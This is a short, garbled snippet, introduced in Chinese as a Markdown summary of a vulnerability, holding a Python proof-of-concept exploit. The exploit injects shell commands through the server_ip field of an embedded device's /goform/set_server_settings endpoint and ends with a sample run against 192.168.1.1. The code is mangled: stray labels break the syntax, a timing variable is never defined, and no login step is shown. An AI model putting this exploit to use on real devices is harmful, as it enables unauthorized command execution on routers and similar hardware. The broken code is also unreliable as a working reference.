以下是关于漏洞的关键信息的简洁Markdown格式： python class SetServerSettingsExploit: def __init__(self, target, username="admin", password="admin"): self.target = target.rstrip('/') self.username = username self.password = password self.session = requests.Session() self.token = None def exploit(self, command, param="server_ip"): if not self.token: print("[-] Authentication required. Please login first.") return False command_injection_payload = f"test\n{command}\necho " parameters = { "server_ip": command_injection_payload } data = parameters 参数设置 print(f"[*] Sending payload to /goform/set_server_settings") response = self.session.post(self.target + "/goform/set_server_settings", data=data, timeout=30, verify=False) Payload 执行结果验证 if "sleep" in command: elapsed_time = time.time() - start_time if elapsed_time >= int(command.split()[1]): print(f"[+] Command injection successful! Detected {command.split()[1]}s delay") return True bash python3 poc_set_server_settings.py -H 192.168.1.1 -u admin -P admin -c "echo server_settings > /tmp/server_"